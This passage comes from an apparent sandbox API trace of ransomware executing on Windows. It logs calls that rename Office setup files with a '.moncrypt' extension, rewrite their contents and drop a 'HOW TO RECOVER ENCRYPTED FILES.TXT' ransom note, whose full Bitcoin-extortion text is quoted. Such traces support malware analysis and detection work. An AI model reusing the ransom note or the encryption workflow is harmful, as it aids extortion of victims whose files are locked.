ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.247] GetLastError () returned 0x2 [0048.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.251] WriteFile (in: hFile=0x190, lpBuffer=0x1dcd3b8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.252] CloseHandle (hObject=0x190) returned 1 [0048.252] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0048.252] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.252] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.252] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.252] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.252] GlobalUnlock (hMem=0x44000c) returned 0 [0048.252] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.252] GlobalLock (hMem=0x440004) returned 0x557870 [0048.252] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.252] GlobalUnlock (hMem=0x44000c) returned 0 [0048.252] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.252] GlobalUnlock (hMem=0x440004) returned 0 [0048.252] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.252] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0048.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.253] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0048.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", cchWideChar=103, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpUsedDefaultChar=0x0) returned 103 [0048.253] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpUsedDefaultChar=0x0) returned 4 [0048.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0048.253] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.253] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.253] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0048.255] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.255] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.moncrypt")) returned 1 [0048.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.255] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.255] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x7c4 [0048.255] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.255] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x7c4, lpOverlapped=0x0) returned 1 [0048.257] GlobalLock (hMem=0x440004) returned 0x555860 [0048.257] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.257] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.257] GlobalUnlock (hMem=0x440004) returned 0 [0048.257] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.257] GlobalUnlock (hMem=0x44000c) returned 0 [0048.257] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.257] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.257] GlobalUnlock (hMem=0x44000c) returned 0 [0048.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.267] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.267] CloseHandle (hObject=0x190) returned 1 [0048.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.268] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.268] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.268] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.268] GlobalUnlock (hMem=0x44000c) returned 0 [0048.268] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.268] GlobalLock (hMem=0x440004) returned 0x557870 [0048.268] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.268] GlobalUnlock (hMem=0x44000c) returned 0 [0048.268] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.268] GlobalUnlock (hMem=0x440004) returned 0 [0048.268] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.268] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e09e1c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e09e1c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e09e1c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.268] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.268] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.268] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.273] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.273] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.273] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.273] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.273] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.273] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.274] ReadFile (in: hFile=0x190, lpBuffer=0x1dcd3b8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.274] CloseHandle (hObject=0x190) returned 1 [0048.274] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0048.274] GetLastError () returned 0x12 [0048.274] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.274] GlobalLock (hMem=0x440004) returned 0x555860 [0048.274] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.274] GlobalUnlock (hMem=0x440004) returned 0 [0048.274] GlobalLock (hMem=0x440004) returned 0x555860 [0048.274] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.274] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.274] GlobalUnlock (hMem=0x440004) returned 0 [0048.274] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.274] GlobalUnlock (hMem=0x44000c) returned 0 [0048.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e0c4320, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e0c4320, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.274] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.274] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.274] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.274] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.275] GlobalUnlock (hMem=0x44000c) returned 0 [0048.275] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.275] GlobalLock (hMem=0x440004) returned 0x557870 [0048.275] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.275] GlobalUnlock (hMem=0x44000c) returned 0 [0048.275] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.275] GlobalUnlock (hMem=0x440004) returned 0 [0048.275] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.275] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e0c4320, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e0c4320, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.275] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.275] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.275] GlobalLock (hMem=0x440004) returned 0x555860 [0048.275] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.275] GlobalUnlock (hMem=0x440004) returned 0 [0048.275] GlobalLock (hMem=0x440004) returned 0x555860 [0048.275] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.275] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.275] GlobalUnlock (hMem=0x440004) returned 0 [0048.275] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.275] GlobalUnlock (hMem=0x44000c) returned 0 [0048.275] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.275] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e09e1c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e09e1c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e09e1c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.275] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.275] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.275] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.275] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.275] GlobalUnlock (hMem=0x44000c) returned 0 [0048.275] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.275] GlobalLock (hMem=0x440004) returned 0x557870 [0048.275] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.276] GlobalUnlock (hMem=0x44000c) returned 0 [0048.276] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.276] GlobalUnlock (hMem=0x440004) returned 0 [0048.276] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.276] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x705, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML.moncrypt", cAlternateFileName="ONENOT~1.MON")) returned 1 [0048.276] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.276] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.276] GlobalLock (hMem=0x440004) returned 0x555860 [0048.276] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.276] GlobalUnlock (hMem=0x440004) returned 0 [0048.276] GlobalLock (hMem=0x440004) returned 0x555860 [0048.276] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.276] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.276] GlobalUnlock (hMem=0x440004) returned 0 [0048.276] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.276] GlobalUnlock (hMem=0x44000c) returned 0 [0048.276] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.276] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0048.276] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.276] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.276] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.276] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.276] GlobalUnlock (hMem=0x44000c) returned 0 [0048.276] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.276] GlobalLock (hMem=0x440004) returned 0x557870 [0048.276] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.276] GlobalUnlock (hMem=0x44000c) returned 0 [0048.276] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.276] GlobalUnlock (hMem=0x440004) returned 0 [0048.276] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.277] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0048.277] GetLastError () returned 0x12 [0048.277] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.277] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0048.277] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.277] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.277] GlobalLock (hMem=0x440004) returned 0x555860 [0048.277] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.277] GlobalUnlock (hMem=0x440004) returned 0 [0048.277] GlobalLock (hMem=0x440004) returned 0x555860 [0048.277] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.277] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.277] GlobalUnlock (hMem=0x440004) returned 0 [0048.277] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.277] GlobalUnlock (hMem=0x44000c) returned 0 [0048.277] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.277] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, 